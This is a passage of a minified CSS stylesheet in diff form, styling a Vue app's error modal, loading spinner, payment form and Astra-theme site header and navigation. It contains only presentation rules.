32px; + flex: 1; + overflow-y: auto; + display: flex; + align-items: center; + justify-content: center; + min-height: 100px; + background: #fff +} + +.error-modal__content[data-v-0237ad60] { + width: 100%; + text-align: center +} + +.error-modal__text[data-v-0237ad60] { + font-size: 16px; + line-height: 1.75; + color: #374151; + word-wrap: break-word; + white-space: pre-wrap; + margin: 0; + display: inline-block; + text-align: center; + font-weight: 400; + letter-spacing: 0 +} + +.error-modal__footer[data-v-0237ad60] { + padding: 24px 32px 32px; + display: flex; + justify-content: center; + background-color: #fff; + border-top: 1px solid #E5E7EB +} + +.error-modal__button[data-v-0237ad60] { + padding: 12px 40px; + font-size: 16px; + font-weight: 500; + color: #fff; + background: #dc2626; + border: 1px solid #DC2626; + border-radius: 6px; + cursor: pointer; + transition: all .2s ease; + min-height: 48px; + min-width: 160px; + touch-action: manipulation; + letter-spacing: 0; + text-transform: none +} + +.error-modal__button[data-v-0237ad60]:hover { + background: #b91c1c; + border-color: #b91c1c +} + +.error-modal__button[data-v-0237ad60]:active { + background: #991b1b; + border-color: #991b1b +} + +.error-modal__button[data-v-0237ad60]:focus { + outline: none; + border-color: #dc2626; + box-shadow: 0 0 0 3px #dc262633 +} + +.modal-enter-active[data-v-0237ad60] { + transition: opacity .25s ease-out +} + +.modal-leave-active[data-v-0237ad60] { + transition: opacity .2s ease-in +} + +.modal-enter-active .error-modal[data-v-0237ad60] { + transition: transform .3s cubic-bezier(.34, 1.56, .64, 1), opacity .3s ease-out +} + +.modal-leave-active .error-modal[data-v-0237ad60] { + transition: transform .2s ease-in, opacity .2s ease-in +} + +.modal-enter-from[data-v-0237ad60], +.modal-leave-to[data-v-0237ad60] { + opacity: 0 +} + +.modal-enter-from .error-modal[data-v-0237ad60] { + transform: scale(.92) translateY(-10px); + opacity: 0 +} + +.modal-leave-to .error-modal[data-v-0237ad60] { + transform: scale(.95); + opacity: 0 +} + +@media(max-width:640px) { + .error-modal-overlay[data-v-0237ad60] { + padding: 16px + } + + .error-modal[data-v-0237ad60] { + max-width: 100%; + margin: 0; + border-radius: 8px; + border-width: 1px + } + + .error-modal__body[data-v-0237ad60] { + padding: 32px 24px 28px; + min-height: 80px + } + + .error-modal__text[data-v-0237ad60] { + font-size: 15px; + line-height: 1.7 + } + + .error-modal__footer[data-v-0237ad60] { + padding: 20px 24px 28px + } + + .error-modal__button[data-v-0237ad60] { + width: 100%; + font-size: 16px; + padding: 12px 32px; + min-height: 48px; + min-width: auto + } +} + +@media(max-width:480px) { + .error-modal-overlay[data-v-0237ad60] { + padding: 12px + } + + .error-modal[data-v-0237ad60] { + border-radius: 8px + } + + .error-modal__body[data-v-0237ad60] { + padding: 28px 20px 24px + } + + .error-modal__text[data-v-0237ad60] { + font-size: 15px; + line-height: 1.7 + } + + .error-modal__footer[data-v-0237ad60] { + padding: 20px 20px 24px + } + + .error-modal__button[data-v-0237ad60] { + padding: 12px 28px; + font-size: 15px + } +} + +.sailors-router-view[data-v-47423559] { + width: 100%; + max-width: 100%; + overflow-x: hidden; + box-sizing: border-box; + position: relative; + word-wrap: break-word; + overflow-wrap: break-word +} + +.sailors-router-view[data-v-47423559]>* { + max-width: 100%; + box-sizing: border-box; + word-wrap: break-word; + overflow-wrap: break-word +} + +.sailors-router-view img[data-v-47423559], +.sailors-router-view video[data-v-47423559], +.sailors-router-view iframe[data-v-47423559], +.sailors-router-view embed[data-v-47423559], +.sailors-router-view object[data-v-47423559] { + max-width: 100%; + height: auto; + box-sizing: border-box +} + +.sailors-router-view table[data-v-47423559] { + max-width: 100%; + table-layout: auto; + word-wrap: break-word +} + +.sailors-loading[data-v-3b7dd936] { + position: fixed; + top: 0; + left: 0; + width: 100%; + height: 100%; + z-index: 9999; + display: flex; + align-items: center; + justify-content: center; + background: #000000b3 +} + +.sailors-loading-spinner[data-v-3b7dd936] { + display: flex; + flex-direction: column; + align-items: center; + justify-content: center +} + +.sailors-loading-spinner-circle[data-v-3b7dd936] { + width: 50px; + height: 50px; + position: relative +} + +.sailors-loading-spinner-path[data-v-3b7dd936] { + width: 100%; + height: 100%; + border: 4px solid rgba(255, 255, 255, .3); + border-top-color: #fff; + border-radius: 50%; + animation: sailors-loading-spin-3b7dd936 .8s linear infinite +} + +@keyframes sailors-loading-spin-3b7dd936 { + 0% { + transform: rotate(0) + } + + to { + transform: rotate(360deg) + } +} + +.sailors-loading-fade-enter-active[data-v-3b7dd936], +.sailors-loading-fade-leave-active[data-v-3b7dd936] { + transition: opacity .3s +} + +.sailors-loading-fade-enter-from[data-v-3b7dd936], +.sailors-loading-fade-leave-to[data-v-3b7dd936] { + opacity: 0 +} + +.form-payment-container[data-v-bb8d2c77] { + width: 100%; + max-width: 600px; + margin: 0 auto; + padding: 24px; + background: #fff; + border-radius: 8px; + box-shadow: 0 2px 8px #0000001a; + overflow-x: hidden; + box-sizing: border-box +} + +.form-payment-header[data-v-bb8d2c77] { + margin-bottom: 24px; + padding-bottom: 16px +} + +.form-payment-body[data-v-bb8d2c77] { + display: flex; + flex-direction: column; + gap: 20px +} + +.form-row[data-v-bb8d2c77] { + display: flex; + width: 100% +} + +.form-row-group[data-v-bb8d2c77] { + display: grid; + grid-template-columns: 1fr 1fr; + gap: 16px; + width: 100% +} + +.form-field[data-v-bb8d2c77] { + width: 100% +} + +.form-field-wrapper[data-v-bb8d2c77] { + width: 100%; + display: flex; + flex-direction: column +} + +.card-error-message[data-v-bb8d2c77] { + margin-top: 8px; + font-size: 14px; + color: #f56c6c +} + +.form-payment-footer[data-v-bb8d2c77] { + margin-top: 24px; + padding-top: 24px; + border-top: 1px solid #e4e7ed; + display: flex; + justify-content: flex-end +} + +.form-submit-btn[data-v-bb8d2c77] { + padding: 12px 32px; + font-size: 16px; + font-weight: 500; + color: #fff; + background-color: #409eff; + border: none; + border-radius: 4px; + cursor: pointer; + transition: background-color .3s +} + +.form-submit-btn[data-v-bb8d2c77]:hover { + background-color: #66b1ff +} + +.form-submit-btn[data-v-bb8d2c77]:active { + background-color: #3a8ee6 +} + +.form-submit-btn[data-v-bb8d2c77]:disabled { + background-color: #c0c4cc; + cursor: not-allowed +} + +@media(max-width:768px) { + .form-payment-container[data-v-bb8d2c77] { + padding: 16px + } + + .form-row-group[data-v-bb8d2c77] { + gap: 12px + } +} + +.sailors-span[data-v-b6603739] { + position: relative; + display: inline +} + +.sailors-span[data-v-b6603739]:after { + content: attr(data-text) +} + +.sailors-span[data-v-b6603739]:before { + content: ""; + display: none +} + +html, +body, +#app { + margin: 0; + padding: 0; + width: 100%; + height: 100% +} + +* { + box-sizing: border-box +} + +@media all { + + li[data-v-8a5ab816], + p[data-v-8a5ab816], + ul[data-v-8a5ab816] { + border: 0; + font-size: 100%; + font-style: inherit; + font-weight: inherit; + margin: 0; + outline: 0; + padding: 0; + vertical-align: baseline + } + + nav[data-v-8a5ab816] { + display: block + } + + a[data-v-8a5ab816] { + background-color: transparent + } + + a[data-v-8a5ab816]:active { + outline: 0 + } + + a[data-v-8a5ab816], + a[data-v-8a5ab816]:focus, + a[data-v-8a5ab816]:hover, + a[data-v-8a5ab816]:visited { + text-decoration: none + } + + img[data-v-8a5ab816] { + border: 0 + } + + svg[data-v-8a5ab816]:not(:root) { + overflow: hidden + } + + button[data-v-8a5ab816] { + color: inherit; + font: inherit; + margin: 0 + } + + button[data-v-8a5ab816] { + overflow: visible + } + + button[data-v-8a5ab816] { + text-transform: none + } + + button[data-v-8a5ab816] { + -webkit-appearance: button; + cursor: pointer + } + + .ast-container[data-v-8a5ab816] { + max-width: 100% + } + + .ast-container[data-v-8a5ab816] { + margin-left: auto; + margin-right: auto; + padding-left: 20px; + padding-right: 20px + } + + [data-v-8a5ab816], + [data-v-8a5ab816]:after, + [data-v-8a5ab816]:before { + box-sizing: inherit + } + + ul[data-v-8a5ab816] { + margin: 0 0 1.5em 3em + } + + ul[data-v-8a5ab816] { + list-style: disc + } + + li>ul[data-v-8a5ab816] { + margin-bottom: 0; + margin-left: 1.5em + } + + img[data-v-8a5ab816] { + height: auto; + max-width: 100% + } + + button[data-v-8a5ab816] { + color: #808285; + font-weight: 400; + font-size: 100%; + margin: 0; + vertical-align: baseline + } + + button[data-v-8a5ab816] { + line-height: normal + } + + button[data-v-8a5ab816] { + border: 1px solid; + border-color: var(--ast-border-color); + border-radius: 2px; + background: #e6e6e6; + padding: .6em 1em .4em; + color: #fff + } + + button[data-v-8a5ab816]:focus, + button[data-v-8a5ab816]:hover { + color: #fff; + border-color: var(--ast-border-color) + } + + button[data-v-8a5ab816]:active, + button[data-v-8a5ab816]:focus { + border-color: var(--ast-border-color); + outline: 0 + } + + a[data-v-8a5ab816] { + color: #4169e1 + } + + a[data-v-8a5ab816]:focus, + a[data-v-8a5ab816]:hover { + color: #191970 + } + + a[data-v-8a5ab816]:focus { + outline: thin dotted + } + + a[data-v-8a5ab816]:hover { + outline: 0 + } + + .screen-reader-text[data-v-8a5ab816] { + border: 0; + clip: rect(1px, 1px, 1px, 1px); + height: 1px; + margin: -1px; + overflow: hidden; + padding: 0; + position: absolute; + width: 1px; + word-wrap: normal !important + } + + .screen-reader-text[data-v-8a5ab816]:focus { + background-color: #f1f1f1; + border-radius: 2px; + box-shadow: 0 0 2px 2px #0009; + clip: auto !important; + color: #21759b; + display: block; + font-size: 12.25px; + font-size: .875rem; + height: auto; + left: 5px; + line-height: normal; + padding: 15px 23px 14px; + text-decoration: none; + top: 5px; + width: auto; + z-index: 100000 + } + + [data-v-8a5ab816]::selection { + color: #fff; + background: #0274be + } + + a[data-v-8a5ab816], + a[data-v-8a5ab816]:focus { + text-decoration: none + } + + .site-header a[data-v-8a5ab816] *, + a[data-v-8a5ab816] { + transition: all .2s linear + } + + img[data-v-8a5ab816] { + vertical-align: middle + } + + p[data-v-8a5ab816] { + margin-bottom: 1.75em + } + + .site-title[data-v-8a5ab816] { + font-weight: 400 + } + + .site-title[data-v-8a5ab816] { + margin-bottom: 0 + } + + .site-title a[data-v-8a5ab816], + .site-title:focus a[data-v-8a5ab816], + .site-title:hover a[data-v-8a5ab816] { + transition: all .2s linear + } + + .site-title a[data-v-8a5ab816], + .site-title a[data-v-8a5ab816]:focus, + .site-title a[data-v-8a5ab816]:hover, + .site-title a[data-v-8a5ab816]:visited { + color: #222 + } + + .ast-custom-button[data-v-8a5ab816], + button[data-v-8a5ab816] { + line-height: 1.85714285714286 + } + + .site-title a[data-v-8a5ab816] { + line-height: 1.2 + } + + .main-navigation[data-v-8a5ab816] { + height: 100%; + -js-display: inline-flex; + display: inline-flex + } + + .main-navigation ul[data-v-8a5ab816] { + list-style: none; + margin: 0; + padding-left: 0; + position: relative + } + + .main-header-menu .menu-link[data-v-8a5ab816] { + text-decoration: none; + padding: 0 1em; + display: inline-block; + transition: all .2s linear + } + + .main-header-menu .menu-item[data-v-8a5ab816] { + position: relative + } + + .main-header-menu .menu-item:hover>.sub-menu[data-v-8a5ab816] { + right: auto; + left: 0; + visibility: visible + } + + .main-header-menu .sub-menu[data-v-8a5ab816] { + width: 240px; + background: #fff; + left: -999em; + position: absolute; + top: 100%; + z-index: 99999; + visibility: hidden + } + + .main-header-menu .sub-menu .menu-link[data-v-8a5ab816] { + padding: .9em 1em; + display: block; + word-wrap: break-word + } + + .main-header-menu .sub-menu .menu-item:not(.menu-item-has-children) .menu-link .icon-arrow[data-v-8a5ab816]:first-of-type { + display: none + } + + .submenu-with-border .sub-menu[data-v-8a5ab816] { + border-width: 1px; + border-style: solid + } + + .submenu-with-border .sub-menu .menu-link[data-v-8a5ab816] { + border-width: 0 0 1px; + border-style: solid + } + + .ast-header-break-point .main-navigation[data-v-8a5ab816] { + padding-left: 0 + } + + .ast-header-break-point .main-navigation ul .menu-item .menu-link[data-v-8a5ab816] { + padding: 0 20px; + display: inline-block; + width: 100%; + border: 0; + border-bottom-width: 1px; + border-style: solid; + border-color: var(--ast-border-color) + } + + .ast-header-break-point .main-navigation ul .menu-item .menu-link .icon-arrow[data-v-8a5ab816]:first-of-type { + margin-right: 5px + } + + .ast-header-break-point .main-navigation ul .sub-menu .menu-item:not(.menu-item-has-children) .menu-link .icon-arrow[data-v-8a5ab816]:first-of-type { + display: inline + } + + .ast-header-break-point .main-navigation .sub-menu .menu-item .menu-link[data-v-8a5ab816] { + padding-left: 30px + } + + .ast-header-break-point .main-header-menu[data-v-8a5ab816] { + background-color: #f9f9f9; + border-top-width: 0 + } + + .ast-header-break-point .main-header-menu .sub-menu[data-v-8a5ab816] { + background-color: #f9f9f9; + position: static; + opacity: 1; + visibility: visible; + border: 0; + width: auto + } + + .ast-header-break-point .submenu-with-border .sub-menu[data-v-8a5ab816] { + border: 0 + } + + .ast-header-break-point .dropdown-menu-toggle[data-v-8a5ab816] { + display: none + } + + .ast-button-wrap[data-v-8a5ab816] { + display: inline-block + } + + .ast-button-wrap button[data-v-8a5ab816] { + box-shadow: none; + border: none + } + + .ast-button-wrap .menu-toggle[data-v-8a5ab816] { + padding: 0; + width: 2.2em; + height: 2.1em; + font-size: 1.5em; + font-weight: 400; + -webkit-font-smoothing: antialiased; + -moz-osx-font-smoothing: grayscale; + border-radius: 2px; + vertical-align: middle; + line-height: 1.85714285714286 + } + + .ast-button-wrap .menu-toggle.main-header-menu-toggle[data-v-8a5ab816] { + padding: 0 .5em; + width: auto; + text-align: center + } + + .ast-button-wrap .menu-toggle[data-v-8a5ab816]:focus { + outline: thin dotted + } + + .header-main-layout-1 .ast-main-header-bar-alignment[data-v-8a5ab816] { + margin-left: auto + } + + .site-navigation[data-v-8a5ab816] { + height: 100% + } + + .site-header .menu-link[data-v-8a5ab816] * { + transition: none + } + + .ast-icon.icon-arrow svg[data-v-8a5ab816] { + height: .6em; + width: .6em; + position: relative; + margin-left: 10px + } + + .ast-header-break-point .main-header-bar-navigation[data-v-8a5ab816] { + flex: auto + } + + .ast-header-break-point .ast-main-header-bar-alignment[data-v-8a5ab816] { + display: block; + width: 100%; + flex: auto; + order: 4 + } + + .ast-header-break-point .ast-icon.icon-arrow svg[data-v-8a5ab816] { + height: .85em; + width: .95em; + position: relative; + margin-left: 10px + } + + .ast-icon svg[data-v-8a5ab816]:not([fill]) { + fill: currentColor + } + + .ast-builder-grid-row[data-v-8a5ab816] { + display: grid; + grid-template-columns: auto auto; + align-items: center; + grid-column-gap: 20px; + overflow-wrap: anywhere + } + + .ast-builder-grid-row>.site-header-section[data-v-8a5ab816] { + flex-wrap: nowrap + } + + .ast-builder-grid-row.ast-grid-center-col-layout[data-v-8a5ab816] { + grid-template-columns: 1fr auto 1fr + } + + .ast-builder-layout-element[data-v-8a5ab816] { + align-items: center + } + + .ast-builder-grid-row.ast-grid-center-col-layout-only[data-v-8a5ab816] { + -js-display: flex; + display: flex; + height: 100%; + justify-content: center + } + + .ast-builder-grid-row.ast-grid-center-col-layout-only .ast-grid-section-center[data-v-8a5ab816] { + flex-grow: 1 + } + + .site-header-section[data-v-8a5ab816] { + height: 100%; + min-height: 0; + align-items: center + } + + .site-header-section[data-v-8a5ab816]>* { + padding: 0 10px + } + + .site-header-section>div[data-v-8a5ab816]:first-child { + padding-left: 0 + } + + .site-header-section>div[data-v-8a5ab816]:last-child { + padding-right: 0 + } + + .site-header-section .ast-builder-menu[data-v-8a5ab816] { + align-items: center + } + + .ast-grid-right-section[data-v-8a5ab816] { + justify-content: flex-end + } + + .ast-grid-section-center[data-v-8a5ab816] { + justify-content: center + } + + .ahfb-svg-iconset[data-v-8a5ab816] { + -js-display: inline-flex; + display: inline-flex; + align-self: center + } + + .ahfb-svg-iconset svg[data-v-8a5ab816] { + width: 17px; + height: 17px; + transition: none + } + + .ahfb-svg-iconset svg[data-v-8a5ab816]>* { + transition: none + } + + .ast-builder-grid-row-container[data-v-8a5ab816] { + display: grid; + align-content: center + } + + .main-header-bar .main-header-bar-navigation[data-v-8a5ab816] { + height: 100% + } + + .ast-nav-menu .sub-menu[data-v-8a5ab816] { + line-height: 1.45 + } + + .ast-builder-menu .main-navigation[data-v-8a5ab816] { + padding: 0 + } + + .ast-builder-menu .main-navigation>ul[data-v-8a5ab816] { + align-self: center + } + + .ast-header-break-point #ast-mobile-header[data-v-8a5ab816] { + display: block + } + + .ast-header-break-point .main-header-bar-navigation[data-v-8a5ab816] { + line-height: 3 + } + + .ast-header-break-point .main-header-bar-navigation .menu-item-has-children>.ast-menu-toggle[data-v-8a5ab816] { + display: inline-block; + position: absolute; + font-size: inherit; + top: 0; + right: 20px; + cursor: pointer; + -webkit-font-smoothing: antialiased; + -moz-osx-font-smoothing: grayscale; + padding: 0 .907em; + font-weight: 400; + line-height: inherit + } + + .ast-header-break-point .main-header-bar-navigation .menu-item-has-children>.ast-menu-toggle>.ast-icon.icon-arrow[data-v-8a5ab816] { + pointer-events: none + } + + .ast-header-break-point .main-header-bar-navigation .menu-item-has-children .sub-menu[data-v-8a5ab816] { + display: none + } + + .ast-header-break-point .ast-nav-menu .sub-menu[data-v-8a5ab816] { + line-height: 3 + } + + .ast-hfb-header.ast-header-break-point .main-header-bar-navigation[data-v-8a5ab816] { + width: 100%; + margin: 0 + } + + .menu-toggle .ast-close-svg[data-v-8a5ab816] { + display: none + } + + .ast-mobile-header-wrap .menu-toggle .mobile-menu-toggle-icon[data-v-8a5ab816] { + -js-display: inline-flex; + display: inline-flex; + align-self: center + } + + .ast-mobile-header-wrap .ast-button-wrap .menu-toggle.main-header-menu-toggle[data-v-8a5ab816] { + -js-display: flex; + display: flex; + align-items: center; + width: auto; + height: auto + } + + .menu-toggle .mobile-menu-toggle-icon[data-v-8a5ab816] { + -js-display: inline-flex; + display: inline-flex; + align-self: center + } + + .ast-button-wrap .menu-toggle.main-header-menu-toggle[data-v-8a5ab816] { + padding: .5em; + align-items: center; + -js-display: flex; + display: flex + } + + .site-header[data-v-8a5ab816] { + z-index: 99; + position: relative + } + + .main-header-bar-wrap[data-v-8a5ab816] { + position: relative + } + + .main-header-bar[data-v-8a5ab816] { + background-color: #fff; + border-bottom-color: var(--ast-border-color); + border-bottom-style: solid + } + + .ast-header-break-point .main-header-bar[data-v-8a5ab816] { + border: 0 + } + + .ast-header-break-point .main-header-bar[data-v-8a5ab816] { + border-bottom-color: var(--ast-border-color); + border-bottom-style: solid + } + + .main-header-bar[data-v-8a5ab816] { + margin-left: auto; + margin-right: auto + } + + .site-branding[data-v-8a5ab816] { + line-height: 1; + align-self: center + } + + .ast-menu-toggle[data-v-8a5ab816] { + display: none; + background: 0 0; + color: inherit; + border-style: dotted; + border-color: transparent + } + + .ast-menu-toggle[data-v-8a5ab816]:focus, + .ast-menu-toggle[data-v-8a5ab816]:hover { + background: 0 0; + border-color: inherit; + color: inherit + } + + .ast-menu-toggle[data-v-8a5ab816]:focus { + outline: thin dotted + } + + .main-header-bar[data-v-8a5ab816] { + z-index: 4; + position: relative + } + + .main-header-bar .main-header-bar-navigation[data-v-8a5ab816]:empty { + padding: 0 + } + + .main-header-bar .main-header-bar-navigation .sub-menu[data-v-8a5ab816] { + line-height: 1.45 + } + + .main-header-bar .main-header-bar-navigation .menu-item-has-children>.menu-link[data-v-8a5ab816]:after { + line-height: normal + } + + .ast-site-identity[data-v-8a5ab816] { + padding: 1em 0 + } + + .ast-header-break-point .site-header .main-header-bar-wrap .site-branding[data-v-8a5ab816] { + flex: 1; + align-self: center + } + + .ast-header-break-point .ast-site-identity[data-v-8a5ab816] { + width: 100% + } + + .ast-header-break-point .main-header-bar[data-v-8a5ab816] { + display: block; + line-height: 3 + } + + .ast-header-break-point .main-header-bar .main-header-bar-navigation[data-v-8a5ab816], + .ast-header-break-point .main-header-bar .main-header-bar-navigation .sub-menu[data-v-8a5ab816] { + line-height: 3 + } + + .ast-header-break-point .main-header-bar .main-header-bar-navigation .menu-item-has-children .sub-menu[data-v-8a5ab816] { + display: none + } + + .ast-header-break-point .main-header-bar .main-header-bar-navigation .menu-item-has-children>.ast-menu-toggle[data-v-8a5ab816] { + display: inline-block; + position: absolute; + font-size: inherit; + top: -1px; + right: 20px; + cursor: pointer; + -webkit-font-smoothing: antialiased; + -moz-osx-font-smoothing: grayscale; + padding: 0 .907em; + font-weight: 400; + line-height: inherit; + transition: all .2s + } + + .ast-header-break-point .main-header-bar .main-header-bar-navigation .main-header-menu[data-v-8a5ab816] { + border-top-width: 0 + } + + .ast-header-break-point .main-navigation[data-v-8a5ab816] { + display: block; + width: 100% + } + + .ast-header-break-point .main-navigation ul ul[data-v-8a5ab816] { + left: auto; + right: auto + } + + .ast-header-break-point .main-navigation .stack-on-mobile li[data-v-8a5ab816] { + width: 100% + } + + .ast-header-break-point .main-header-bar-navigation[data-v-8a5ab816] { + width: calc(100% + 40px); + margin: 0 -20px + } + + .ast-header-break-point .ast-builder-menu[data-v-8a5ab816] { + width: 100% + } + + .ast-flex[data-v-8a5ab816] { + -js-display: flex; + display: flex; + flex-wrap: wrap + } + + .ast-inline-flex[data-v-8a5ab816] { + -js-display: inline-flex; + display: inline-flex; + align-items: center; + flex-wrap: wrap; + align-content: center + } + + .ast-flex-grow-1[data-v-8a5ab816] { + flex-grow: 1 + } +} + +a[data-v-8a5ab816] { + color: #a47e14 +} + +a[data-v-8a5ab816]:hover, +a[data-v-8a5ab816]:focus { + color: #e4202c +} + +button[data-v-8a5ab816], +.ast-custom-button[data-v-8a5ab816] { + font-family: Inter, sans-serif; + font-weight: 500; + font-size: 16px; + font-size: 1rem; + line-height: var(--ast-body-line-height, 1.65) +} + +.site-title[data-v-8a5ab816], +.site-title a[data-v-8a5ab816] { + font-family: Poppins, sans-serif; + font-weight: 500 +} + +.ast-site-identity .site-title a[data-v-8a5ab816] { + color: var(--ast-global-color-2) +} + +.site-title[data-v-8a5ab816] { + font-size: 26px; + font-size: 1.625rem; + display: block +} + +header .custom-logo-link img[data-v-8a5ab816] { + max-width: 160px; + width: 160px +} + +[data-v-8a5ab816]::selection { + background-color: #a47e14; + color: #fff +} + +[data-section=section-header-mobile-trigger] .ast-button-wrap .ast-mobile-menu-trigger-minimal[data-v-8a5ab816]:focus { + border-style: dotted; + border-color: inherit; + border-width: thin +} + +.site-logo-img img[data-v-8a5ab816] { + transition: all .2s linear +} + +button[data-v-8a5ab816] { + border-radius: 4px; + box-shadow: 0 1px 2px #0000000d +} + +[data-v-8a5ab816]::placeholder { + color: var(--ast-form-field-color, #9CA3AF) +} + +@media(max-width:921.9px) { + #ast-desktop-header[data-v-8a5ab816] { + display: none + } +} + +@media(min-width:922px) { + #ast-mobile-header[data-v-8a5ab816] { + display: none + } +} + +.menu-toggle[data-v-8a5ab816], +button[data-v-8a5ab816], +.ast-custom-button[data-v-8a5ab816] { + border-style: solid; + border-top-width: 0; + border-right-width: 0; + border-left-width: 0; + border-bottom-width: 0; + color: #fff; + border-color: #a47e14; + background-color: #a47e14; + padding: 15px 30px; + font-family: inherit; + font-weight: 500; + font-size: 16px; + font-size: 1rem; + line-height: 1em +} + +button[data-v-8a5ab816]:focus, +.menu-toggle[data-v-8a5ab816]:hover, +button[data-v-8a5ab816]:hover, +.ast-custom-button[data-v-8a5ab816]:hover { + color: #fff; + background-color: #e4202c; + border-color: #e4202c +} + +@media(max-width:921px) { + + .menu-toggle[data-v-8a5ab816], + button[data-v-8a5ab816], + .ast-custom-button[data-v-8a5ab816] { + padding: 14px 28px + } +} + +@media(max-width:544px) { + + .menu-toggle[data-v-8a5ab816], + button[data-v-8a5ab816], + .ast-custom-button[data-v-8a5ab816] { + padding: 12px 24px + } +} + +@media(min-width:544px) { + .ast-container[data-v-8a5ab816] { + max-width: 100% + } +} + +@media(max-width:921px) { + .site-title[data-v-8a5ab816] { + display: block + } +} + +@media(max-width:544px) { + .site-title[data-v-8a5ab816] { + display: block + } +} + +.ast-theme-transparent-header [data-section=section-header-mobile-trigger] .ast-button-wrap .ast-mobile-menu-trigger-minimal[data-v-8a5ab816] { + background: transparent +} + +@media(min-width:921px) { + .ast-theme-transparent-header #masthead[data-v-8a5ab816] { + position: absolute; + left: 0; + right: 0 + } + + .ast-theme-transparent-header .main-header-bar[data-v-8a5ab816], + .ast-theme-transparent-header.ast-header-break-point .main-header-bar[data-v-8a5ab816] { + background: none + } + + .ast-theme-transparent-header .ast-above-header[data-v-8a5ab816], + .ast-theme-transparent-header .ast-above-header.ast-above-header-bar[data-v-8a5ab816] { + background-image: none; + background-color: transparent + } +} + +.ast-theme-transparent-header .main-header-bar[data-v-8a5ab816], +.ast-theme-transparent-header.ast-header-break-point .main-header-bar-wrap .main-header-menu[data-v-8a5ab816], +.ast-theme-transparent-header.ast-header-break-point .main-header-bar-wrap .main-header-bar[data-v-8a5ab816], +.ast-theme-transparent-header.ast-header-break-point .ast-mobile-header-wrap .main-header-bar[data-v-8a5ab816] { + background-color: var(--ast-global-color-4) +} + +.ast-theme-transparent-header .ast-above-header[data-v-8a5ab816], +.ast-theme-transparent-header .ast-above-header.ast-above-header-bar[data-v-8a5ab816] { + background-color: #003859 +} + +.ast-theme-transparent-header .ast-builder-menu .main-header-menu[data-v-8a5ab816], +.ast-theme-transparent-header .ast-builder-menu .main-header-menu .sub-menu[data-v-8a5ab816], +.ast-theme-transparent-header .main-header-menu .menu-link[data-v-8a5ab816], +.ast-theme-transparent-header .ast-builder-menu .main-header-menu .menu-item .sub-menu[data-v-8a5ab816], +.ast-theme-transparent-header .ast-builder-menu .main-header-menu .menu-item .sub-menu .menu-link[data-v-8a5ab816], +.ast-theme-transparent-header .main-header-menu .menu-item .sub-menu .menu-link[data-v-8a5ab816], +.ast-theme-transparent-header .main-header-menu .menu-item .sub-menu[data-v-8a5ab816] { + background-color: var(--ast-global-color-4) +} + +.ast-theme-transparent-header .ast-builder-menu .main-header-menu .menu-item .sub-menu .menu-link[data-v-8a5ab816], +.ast-theme-transparent-header .main-header-menu .menu-item .sub-menu .menu-link[data-v-8a5ab816] { + background-color: transparent +} + +@media(max-width:921px) { + .ast-theme-transparent-header #masthead[data-v-8a5ab816] { + position: absolute; + left: 0; + right: 0 + } + + .ast-theme-transparent-header .main-header-bar[data-v-8a5ab816], + .ast-theme-transparent-header.ast-header-break-point .main-header-bar[data-v-8a5ab816] { + background: none + } + + .ast-theme-transparent-header .ast-above-header[data-v-8a5ab816], + .ast-theme-transparent-header .ast-above-header.ast-above-header-bar[data-v-8a5ab816] { + background-image: none; + background-color: transparent + } +} + +@media(max-width:921px) { + + .ast-theme-transparent-header .main-header-bar[data-v-8a5ab816], + .ast-theme-transparent-header.ast-header-break-point .main-header-bar-wrap .main-header-menu[data-v-8a5ab816], + .ast-theme-transparent-header.ast-header-break-point .main-header-bar-wrap .main-header-bar[data-v-8a5ab816], + .ast-theme-transparent-header.ast-header-break-point .ast-mobile-header-wrap .main-header-bar[data-v-8a5ab816] { + background-color: var(--ast-global-color-4) + } + + .ast-theme-transparent-header.ast-header-break-point .ast-above-header[data-v-8a5ab816] { + background-color: #003859 + } +} + +@media(max-width:544px) { + + .ast-theme-transparent-header .main-header-bar[data-v-8a5ab816], + .ast-theme-transparent-header.ast-header-break-point .main-header-bar-wrap .main-header-menu[data-v-8a5ab816], + .ast-theme-transparent-header.ast-header-break-point .main-header-bar-wrap .main-header-bar[data-v-8a5ab816], + .ast-theme-transparent-header.ast-header-break-point .ast-mobile-header-wrap .main-header-bar[data-v-8a5ab816] { + background-color: var(--ast-global-color-4) + } + + .ast-theme-transparent-header.ast-header-break-point .ast-above-header[data-v-8a5ab816] { + background-color: #003859 + } +} + +.ast-theme-transparent-header #ast-desktop-header>.ast-main-header-wrap>.main-header-bar[data-v-8a5ab816], +.ast-theme-transparent-header.ast-header-break-point #ast-mobile-header>.ast-main-header-wrap>.main-header-bar[data-v-8a5ab816] { + border-bottom-width: 0px; + border-bottom-style: solid +} + +@media(max-width:921px) { + .ast-builder-layout-element .ast-site-identity[data-v-8a5ab816] { + margin-left: 10px + } +} + +.ast-builder-layout-element[data-section=title_tagline][data-v-8a5ab816] { + display: flex +} + +@media(max-width:921px) { + .ast-header-break-point .ast-builder-layout-element[data-section=title_tagline][data-v-8a5ab816] { + display: flex + } +} + +@media(max-width:544px) { + .ast-header-break-point .ast-builder-layout-element[data-section=title_tagline][data-v-8a5ab816] { + display: flex + } +} + +[data-section*=section-hb-button-] .menu-link[data-v-8a5ab816] { + display: none +} + +.ast-header-button-1 .ast-custom-button[data-v-8a5ab816] { + background: #003859; + border-radius: 40px +} + +@media(max-width:544px) { + + .ast-header-button-1 .ast-custom-button[data-v-8a5ab816], + .ast-header-button-1 .ast-custom-button[data-v-8a5ab816]:hover { + color: var(--ast-global-color-4); + background: #e4202c + } +} + +.ast-header-button-1[data-section*=section-hb-button-] .ast-builder-button-wrap .ast-custom-button[data-v-8a5ab816] { + padding: 15px 30px +} + +.ast-header-button-1[data-section=section-hb-button-1][data-v-8a5ab816] { + display: flex +} + +@media(max-width:921px) { + .ast-header-break-point .ast-header-button-1[data-section=section-hb-button-1][data-v-8a5ab816] { + display: flex + } +} + +@media(max-width:544px) { + .ast-header-break-point .ast-header-button-1[data-section=section-hb-button-1][data-v-8a5ab816] { + display: flex + } +} + +.ast-header-button-2 .ast-custom-button[data-v-8a5ab816] { + background: #e4202c; + border-radius: 40px +} + +.ast-header-button-2[data-section*=section-hb-button-] .ast-builder-button-wrap .ast-custom-button[data-v-8a5ab816] { + padding: 15px 30px +} + +.ast-header-button-2[data-section=section-hb-button-2][data-v-8a5ab816] { + display: flex +} + +@media(max-width:921px) { + .ast-header-break-point .ast-header-button-2[data-section=section-hb-button-2][data-v-8a5ab816] { + display: flex + } +} + +@media(max-width:544px) { + .ast-header-break-point .ast-header-button-2[data-section=section-hb-button-2][data-v-8a5ab816] { + display: flex + } +} + +.ast-builder-menu-1[data-v-8a5ab816] { + font-family: inherit; + font-weight: 